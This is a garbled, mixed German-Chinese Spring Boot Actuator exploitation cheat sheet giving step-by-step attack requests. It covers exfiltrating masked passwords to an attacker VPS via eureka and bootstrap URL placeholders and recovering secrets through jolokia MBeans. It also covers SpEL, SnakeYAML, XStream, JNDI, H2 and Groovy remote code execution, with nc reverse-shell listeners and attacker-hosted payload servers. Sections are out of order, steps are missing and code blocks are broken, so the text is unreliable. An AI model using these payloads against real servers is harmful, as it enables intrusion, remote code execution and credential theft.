• Voraussetzungen:
• Nutzungsmethode:
  • Schritt 1: Den gewünschten Eigenschaftsnamen finden
  • Schritt 2: Über jolokia das relevante MBean aufrufen, um den Klartext zu erhalten

0: Routen und Versionen

0x01: Routenkenntnisse

• Einige Programmierer definieren benutzerdefinierte Pfade wie /manage, /management oder projektbezogene App-Namen als Stammpfad von Spring.
• Spring Boot Actuator 1.x verwendet standardmäßig / als Startpfad für integrierte Routen, während 2.x einheitlich /actuator als Startpfad verwendet.
• Die standardmäßigen integrierten Routennamen von Spring Boot Actuator, wie /env, werden manchmal von Programmierern geändert, z. B. in /appenv.

0x02: Versionskenntnisse

Spring Cloud ist eine geordnete Sammlung von Frameworks, die auf Spring Boot aufbauen, um Dienste zu erstellen und gängige Funktionen wie Konfigurationsverwaltung, Dienstregistrierung und -erkennung sowie intelligentes Routing bereitzustellen, die die schnelle Entwicklung verteilter Systeme unterstützen.

Abhängigkeitsbeziehungen zwischen Komponentenversionen:

Abhängigkeiten zwischen Spring Cloud und Spring Boot Versionen:

Suffixe und Bedeutung der Nebenversionen von Spring Cloud:

1: Informationsleck

0x01: Leck von Routenadressen und Schnittstellenaufrufdetails

Entwickler erkennen nicht, dass das Leck von Adressen zu Sicherheitsrisiken führen kann, oder wenn die Entwicklungsumgebung in die Produktionsumgebung umgestellt wird, haben die Verantwortlichen die Konfigurationsdatei nicht geändert und vergessen, die Umgebungskonfiguration zu wechseln.

Direkter Zugriff auf die folgenden beiden Swagger-bezogenen Routen, um zu überprüfen, ob die Schwachstelle existiert:``` /v2/api-docs /swagger-ui.html

Darüber hinaus enthalten die folgenden spring boot actuator-bezogenen Routen manchmal auch (oder lassen sich ableiten) einige Informationen über API-Endpunktadressen, jedoch können keine Parameterinformationen abgerufen werden:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

其中对寻找漏洞比较重要接口的有：

• /env、/actuator/env

  GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；

  同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

• /refresh、/actuator/refresh

  POST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

• /restart、/actuator/restart

  暴露出此接口的情况较少；可以配合 POST请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

• /jolokia、/actuator/jolokia

  可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

• /trace、/actuator/httptrace

  一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。

0x03：获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件：

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）

利用方法：

步骤一： 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口，搜索 ****** 关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二： jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名，直接发包；明文值结果包含在 response 数据包中的 value 键中。

• 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• Aufruf des org.springframework.cloud.context.environment Mbean

Tatsächlich wird die getProperty-Methode der Instanz der org.springframework.cloud.context.environment.EnvironmentManager-Klasse aufgerufen.

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样，可以搜索 getProperty 等关键词，寻找可以调用的方法。

0x04：获取被星号脱敏的密码的明文 (方法二)

利用条件：

• 可以 GET 请求目标网站的 /env
• 可以 POST 请求目标网站的 /env
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
• 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

步骤一： 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口，搜索 ****** 关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二： 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口：```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码，即可获得类似明文值 value:123456，其中的 123456 即是目标星号 * 脱敏前的属性值明文。

Dekodieren Sie den Teil dmFsdWU6MTIzNDU2 mit base64, um einen ähnlichen Klartextwert value:123456 zu erhalten, wobei 123456 der ursprüngliche Klartext des maskierten Attributwerts (Sternchen *) ist.

0x05: Klartext des maskierten Passworts abrufen (Methode 3)

Voraussetzungen:

• Setzen Sie eine Eigenschaft über POST /env und lösen Sie so aus, dass das Ziel eine beliebige HTTP-Anfrage an eine externe Adresse sendet
• Das Ziel kann den Server des Angreifers erreichen (Anfragen können das Internet verlassen)

Nutzungsmethode:

Siehe issue-1 von UUUUnotfound. Während das Ziel eine externe HTTP-Anfrage sendet, kann der Platzhalter im URL-Pfad zum Extrahieren von Daten verwendet werden.

Schritt 1: Ermitteln des gewünschten Attributnamens

Senden Sie eine GET-Anfrage an /env oder /actuator/env des Ziels, suchen Sie nach dem Schlüsselwort ****** und finden Sie den Attributnamen, der dem mit Sternchen * maskierten Wert entspricht.

Schritt 2: HTTP-Anfrage mit nc überwachen

Lauschen Sie auf dem externen Server (Ihre Kontrolle) auf Port 80:```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

辅助用 "password" 等关键词快速过滤分析，获得密码等相关敏感信息的明文。

2: Remote Code Execution

Da die Schwachstellen im Zusammenhang mit Spring Boot durch eine Kombination mehrerer Komponentenschwachstellen verursacht werden können, sind einige Schwachstellennamen nicht ganz standardisiert, um sie dennoch unterscheiden zu können.

0x01: whitelabel error page SpEL RCE

Voraussetzungen:

• spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
• Mindestens eine Schnittstelle und einen Parameternamen, die die Standardfehlerseite von Spring Boot auslösen, kennen.

Nutzungsmethode:

Schritt 1: Finden einer Stelle, an der Parameter normal übergeben werden

Zum Beispiel, wenn der Zugriff auf /article?id=xxx einen Fehler mit Statuscode 500 auf der Seite Whitelabel Error Page auslöst, werden alle nachfolgenden Payloads im Parameter id versucht.

Schritt 2: Ausführen des SpEL-Ausdrucks

Geben Sie /article?id=${7*7} ein. Wenn die Fehlerseite den Wert von 7*7 (49) berechnet und anzeigt, kann grundsätzlich bestätigt werden, dass das Ziel eine Schwachstelle für die SpEL-Ausdrucksinjektion aufweist.

Durch Konvertierung des Zeichenkettenformats in die 0x**-Byteform von Java wird die Ausführung von beliebigem Code erleichtert:```python

coding: utf-8

result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

Schwachstellenprinzip:

1. Wenn Spring Boot Parameterwerte fehlerhaft verarbeitet, gelangt der Ablauf in die Klasse org.springframework.util.PropertyPlaceholderHelper
2. Dann werden die Parameterwerte in der URL rekursiv mit der Methode parseStringValue geparst
3. Inhalte, die von ${} umschlossen sind, werden von der Methode resolvePlaceholder der Klasse org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration als SpEL-Ausdruck geparst und ausgeführt, was zu einer RCE-Schwachstelle führt

Schwachstellenanalyse:

​ SpringBoot SpEL-Einschleusungsschwachstelle - Analyse und Reproduktion

Schwachstellenumgebung:

repository/springboot-spel-rce

Normaler Zugriff:``` http://127.0.0.1:9091/article?id=66

0x02: spring cloud SnakeYAML RCE

Voraussetzungen:

• POST-Anfrage an die /env-Schnittstelle der Zielwebsite zum Setzen von Eigenschaften
• POST-Anfrage an die /refresh-Schnittstelle der Zielwebsite zum Aktualisieren der Konfiguration (Abhängigkeit spring-boot-starter-actuator vorhanden)
• Version der Zielabhängigkeit spring-cloud-starter < 1.3.0.RELEASE
• Die Zielwebsite kann den HTTP-Server des Angreifers erreichen (Anfragen können das externe Netz erreichen)

Nutzungsmethode:

Schritt 1: Hosting der yml- und jar-Dateien

Starten Sie auf Ihrem eigenen VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Service-Ports (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Im Webverzeichnis die Datei example.jar mit der Erweiterung jar ablegen, die den auszuführenden Code enthält. Informationen zur Codeerstellung und Kompilierung finden Sie unter yaml-payload.

Schritt 2: Setzen der Eigenschaft spring.cloud.bootstrap.location

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

Schritt 3: Konfiguration aktualisieren

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Schwachstellenprinzip:

1. Die Eigenschaft spring.cloud.bootstrap.location wird auf die URL-Adresse einer externen bösartigen YML-Datei gesetzt.
2. Ein Refresh veranlasst das Zielgerät, die YML-Datei auf dem entfernten HTTP-Server anzufordern und deren Inhalt zu erhalten.
3. SnakeYAML hat eine Deserialisierungsschwachstelle, so dass beim Parsen des bösartigen YML-Inhalts die angegebenen Aktionen ausgeführt werden.
4. Zuerst wird java.net.URL ausgelöst, um die bösartige JAR-Datei vom entfernten HTTP-Server abzurufen.
5. Dann wird nach einer Klasse in der JAR-Datei gesucht, die das Interface javax.script.ScriptEngineFactory implementiert, und diese wird instanziiert.
6. Beim Instanziieren der Klasse wird bösartiger Code ausgeführt, was zu einer RCE-Schwachstelle führt.

Schwachstellenanalyse:

Lernnotizen zu Exploit Spring Boot Actuator Spring Cloud Env

Schwachstellenumgebung:

repository/springcloud-snakeyaml-rce

Normaler Zugriff:``` http://127.0.0.1:9092/env

Schritt 3: Setzen der Eigenschaft eureka.client.serviceUrl.defaultZone

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

Schritt 4: Konfiguration aktualisieren

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Schwachstellenprinzip:

1. Die Eigenschaft eureka.client.serviceUrl.defaultZone wird auf eine bösartige externe Eureka-Server-URL gesetzt.
2. Ein refresh löst aus, dass die Zielmaschine die entfernte URL anfordert. Der vorab eingerichtete Fake-Eureka-Server gibt dann eine bösartige Payload zurück.
3. Die Zielmaschine analysiert die Payload mit den zugehörigen Abhängigkeiten, löst eine XStream-Deserialisierung aus und verursacht eine RCE-Sicherheitslücke.

Schwachstellenanalyse:

​ Spring Boot Actuator – Von unbefugtem Zugriff zur Shell

Schwachstellenumgebung:

repository/springboot-eureka-xstream-rce

Normaler Zugriff:``` http://127.0.0.1:9093/env

Lege im Stammverzeichnis die Datei example.xml, die auf xml endet, mit folgendem Inhalt ab:```xml

Kopieren Sie dann die generierte Datei JNDIObject.class in das Stammverzeichnis der Website aus Schritt 2.

Schritt 4: Einrichten eines bösartigen LDAP-Dienstes

Laden Sie marshalsec herunter und verwenden Sie den folgenden Befehl, um den entsprechenden LDAP-Dienst einzurichten:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

Schritt sechs: Laden der Logkonfigurationsdatei von einer externen URL

⚠️ Wenn das Ziel erfolgreich example.xml anfordert und marshalsec die Zielanfrage auch empfangen hat, das Ziel jedoch nicht JNDIObject.class anfordert, liegt es höchstwahrscheinlich daran, dass die JDK-Version in der Zielumgebung zu hoch ist, was zu einem Fehler bei der JNDI-Ausnutzung führt.

Ersetzen Sie die tatsächliche your-vps-ip-Adresse und greifen Sie auf die URL zu, um die Schwachstelle auszulösen:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

0x05: jolokia Realm JNDI RCE

Voraussetzungen für die Ausnutzung:

• Die Ziel-Website verfügt über eine /jolokia- oder /actuator/jolokia-Schnittstelle.
• Das Ziel verwendet die jolokia-core-Abhängigkeit (die genaue Version ist unbekannt) und in der Umgebung sind entsprechende MBeans vorhanden.
• Das Ziel kann Anfragen an den Server des Angreifers senden (die Anfrage kann das externe Netzwerk erreichen).
• Eine normale JNDI-Injection wird von der JDK-Version des Ziels beeinflusst: jdk < 6u141/7u131/8u121 (RMI), aber die entsprechende Umgebung kann umgangen werden.

Nutzungsmethode:

Schritt 1: Vorhandene MBeans anzeigen

Greifen Sie auf die Schnittstelle /jolokia/list zu und prüfen Sie, ob die Schlüsselwörter type=MBeanFactory und createJNDIRealm vorhanden sind.

Schritt 2: Auszuführenden Java-Code vorbereiten

Schreiben Sie den optimierten Java-Beispielcode JNDIObject.java, der eine Reverse Shell auslöst.

Schritt 3: Class-Datei hosten

Starten Sie auf Ihrem kontrollierten VPS einen einfachen HTTP-Server. Verwenden Sie möglichst häufig genutzte HTTP-Dienstports (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Schritt fünf: Auf den Port des Reverse Shells hören

Normalerweise wird nc verwendet, um einen Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lvp 443

0x06: Neustart der H2-Datenbankabfrage RCE

Voraussetzungen:

• POST-Anfrage an die /env-Schnittstelle der Zielwebsite, um Eigenschaften zu setzen
• POST-Anfrage an die /restart-Schnittstelle der Zielwebsite, um die Anwendung neu zu starten
• Abhängigkeit von com.h2database.h2 vorhanden (Versionsanforderung derzeit unbekannt)

Ausnutzungsmethode:

Schritt 1: Setzen der Eigenschaft spring.datasource.hikari.connection-test-query

⚠️ Die Methode 'T5' im folgenden Payload muss nach jeder Befehlsausführung umbenannt werden (z. B. T6), damit sie neu erstellt und verwendet werden kann. Andernfalls wird die Schwachstelle beim nächsten Neustart der Anwendung nicht ausgelöst.

spring 1.x (Befehlsausführung ohne Rückmeldung)``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

Schritt 2: Anwendung neu starten

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Schwachstellenprinzip:

1. Die Eigenschaft spring.datasource.hikari.connection-test-query wird auf eine bösartige CREATE ALIAS SQL-Anweisung zur Erstellung einer benutzerdefinierten Funktion gesetzt.
2. Diese Eigenschaft entspricht der Konfiguration connectionTestQuery des HikariCP-Datenbankverbindungspools und definiert die SQL-Anweisung, die vor dem Aufbau einer neuen Datenbankverbindung ausgeführt wird.
3. Beim Neustart (restart) der Anwendung wird eine neue Datenbankverbindung hergestellt.
4. Wenn die benutzerdefinierte Funktion in der SQL-Anweisung noch nicht ausgeführt wurde, wird sie ausgeführt, was zu einer RCE-Schwachstelle führt.

Schwachstellenanalyse:

​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Schwachstellenumgebung:

repository/springboot-h2-database-rce

Normaler Zugriff:``` http://127.0.0.1:9096/actuator/env

然后将生成的 JNDIObject.class 文件拷贝到 Schritt 2 中的网站根目录。

Schritt 3: Bereitstellen der class-Datei

Auf Ihrem eigenen VPS einen einfachen HTTP-Server starten. Verwenden Sie nach Möglichkeit gängige HTTP-Ports (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Schritt 5: Port für Reverse Shell abhören

Normalerweise wird nc verwendet, um den Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lv 443

Schwachstellenanalyse：

​ Spring Boot + H2 Datenbank JNDI Injection

Schwachstellenumgebung：

repository/springboot-h2-database-rce

Normaler Zugriff：``` http://127.0.0.1:9096/h2-console

在脚本同目录下生成 payload.ser 反序列化 payload 文件，供脚本使用。

Schritt 3: Festlegen der Eigenschaft spring.datasource.url

⚠️ Das Ändern dieser Eigenschaft führt vorübergehend dazu, dass alle normalen Datenbankdienste der Website nicht verfügbar sind, was sich auf den Geschäftsbetrieb auswirkt. Bitte mit Vorsicht vorgehen!

Für die mysql-connector-java 5.x-Version wird der Eigenschaftswert gesetzt auf:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

Schritt 4: Konfiguration aktualisieren

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Schritt 5: Datenbankabfrage auslösen

Versuchen Sie, auf eine bekannte Schnittstelle der Website für Datenbankabfragen zuzugreifen, z. B. /product/list, oder suchen Sie nach anderen Möglichkeiten, um die ursprüngliche Website aktiv zu einer Datenbankabfrage zu veranlassen, dann wird die Schwachstelle ausgelöst.

Schritt 6: Wiederherstellung der normalen JDBC-URL

Nach Abschluss der Ausnutzung der Deserialisierungsschwachstelle stellen Sie mit der Methode aus Schritt 3 den ursprünglichen value-Wert der in Schritt 1 aufgezeichneten spring.datasource.url wieder her.

Schwachstellenprinzip:

1. Die Eigenschaft spring.datasource.url wird auf eine externe bösartige MySQL-JDBC-URL gesetzt.
2. Nach dem Refresh wird ein neuer Wert für spring.datasource.url gesetzt.
3. Wenn die Website Datenbankabfragen oder andere Vorgänge durchführt, wird versucht, mit der bösartigen MySQL-JDBC-URL eine neue Datenbankverbindung herzustellen.
4. Der bösartige MySQL-Server sendet dann in einer geeigneten Phase des Verbindungsaufbaus die Deserialisierungs-Payload-Daten.
5. Die abhängige mysql-connector-java-Bibliothek des Zielsystems deserialisiert das konfigurierte Gadget, was zu einer RCE-Schwachstelle führt.

Schwachstellenanalyse:

New-Exploit-Technique-In-Java-Deserialization-Attack

Schwachstellenumgebung:

Es müssen spring.datasource.url, spring.datasource.username und spring.datasource.password in application.properties konfiguriert werden, um eine ordnungsgemäße Verbindung zur MySQL-Datenbank sicherzustellen. Andernfalls wird das Programm beim Start mit einem Fehler beendet.

repository/springboot-mysql-jdbc-rce

Normaler Zugriff:``` http://127.0.0.1:9097/actuator/env

0x09：restart logging.config logback JNDI RCE

Ausnutzungsbedingungen：

• Über POST-Anfrage an die /env-Schnittstelle der Zielwebsite können Eigenschaften gesetzt werden.
• Über POST-Anfrage an die /restart-Schnittstelle der Zielwebsite kann die Anwendung neu gestartet werden.
• Normale JNDI-Injektion ist von der JDK-Version des Ziels abhängig: JDK < 6u201/7u191/8u182/11.0.1 (LDAP), kann jedoch in bestimmten Umgebungen umgangen werden.
• ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (Anfragen müssen das externe Netz erreichen), da sonst der Neustart zu einem abnormalen Programmabbruch führt.
• ⚠️ Falls der HTTP-Server eine Datei mit fehlerhaftem XML-Syntax-Inhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch.
• ⚠️ Das vom JNDI-Dienst zurückgegebene Objekt muss das Interface javax.naming.spi.ObjectFactory implementieren, da es sonst zu einem abnormalen Programmabbruch kommt.

Ausnutzungsmethode:

Schritt 1：XML-Datei hosten

Starten Sie auf Ihrem eigenen VPS-Rechner einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Schritt 2: Hosting des bösartigen ldap-Dienstes und des Codes

Siehe Artikel, modifiziere JNDIExploit und starte (andere Methoden können ebenfalls verwendet werden):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0A: Restart logging.config groovy RCE

Nutzungsbedingungen:

• Es muss möglich sein, per POST-Anfrage an die /env-Schnittstelle der Zielwebsite Eigenschaften zu setzen
• Es muss möglich sein, per POST-Anfrage an die /restart-Schnittstelle der Zielwebsite die Anwendung neu zu starten
• ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (die Anfrage muss das externe Netzwerk erreichen), andernfalls führt der Neustart zu einem abnormalen Programmabbruch
• ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhaftem Groovy-Syntaxinhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch
• ⚠️ Die Umgebung muss eine groovy-Abhängigkeit enthalten, andernfalls kommt es zu einem abnormalen Programmabbruch

Verwendungsmethode:

Schritt 1: Groovy-Datei hosten

Starten Sie auf Ihrer eigenen VPS-Maschine einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Schritt 2: Festlegen der Eigenschaft logging.config

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

Schritt 3: Anwendung neu starten

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Schwachstellenprinzip:

1. Die Zielmaschine legt die URL-Adresse der Logback-Protokolldatei-Konfiguration über die Eigenschaft logging.config fest.
2. Nach einem Neustart der Anwendung fordert das Programm die gesetzte URL-Adresse an.
3. In der Logik der Code-Datei ch.qos.logback.classic.util.ContextInitializer.java der Komponente logback-classic wird geprüft, ob die URL auf groovy endet.
4. Endet die URL auf groovy, wird letztendlich der Groovy-Code im Dateiinhalt ausgeführt, was zu einer RCE-Schwachstelle führt.

Schwachstellenumgebung:

repository/springboot-restart-rce

Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env

Legen Sie eine auf groovy endende Datei example.groovy im Stammverzeichnis ab, deren Inhalt der auszuführende Groovy-Code ist, zum Beispiel:```xml Runtime.getRuntime().exec("open -a Calculator")

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0C: restart spring.datasource.data h2 database RCE

Voraussetzungen:

• POST-Anfrage an die /env-Schnittstelle der Zielseite, um Eigenschaften festzulegen, ist möglich
• POST-Anfrage an die /restart-Schnittstelle der Zielseite, um die Anwendung neu zu starten, ist möglich
• In der Umgebung müssen die Abhängigkeiten h2database und spring-boot-starter-data-jpa vorhanden sein
• ⚠️ Das Ziel muss den HTTP-Server des Angreifers anfragen können (die Anfrage muss das externe Netz erreichen), sonst führt der Neustart zu einem abnormalen Programmabbruch
• ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhafter h2 SQL-Syntax zurückgibt, führt dies zu einem abnormalen Programmabbruch

Vorgehen:

Schritt 1: Hosting der SQL-Datei

Starten Sie einen einfachen HTTP-Server auf dem von Ihnen kontrollierten VPS, und verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Schritt 2: Festlegen der spring.datasource.data-Eigenschaft

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

Schritt 3: Anwendung neu starten

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Schwachstellenprinzip:

1. Die Zielmaschine kann die URL-Adresse der jdbc DML SQL-Datei über die Eigenschaft spring.datasource.data festlegen.
2. Nach dem Neustart der Anwendung fordert das Programm die festgelegte URL-Adresse an.
3. In der Datei org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java der Komponente spring-boot-autoconfigure verwendet die Code-Logik die Methode runScripts, um den h2 database SQL-Code im Inhalt der angeforderten URL auszuführen, was zu einer RCE-Schwachstelle führt.

Schwachstellenumgebung:

repository/springboot-restart-rce

Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env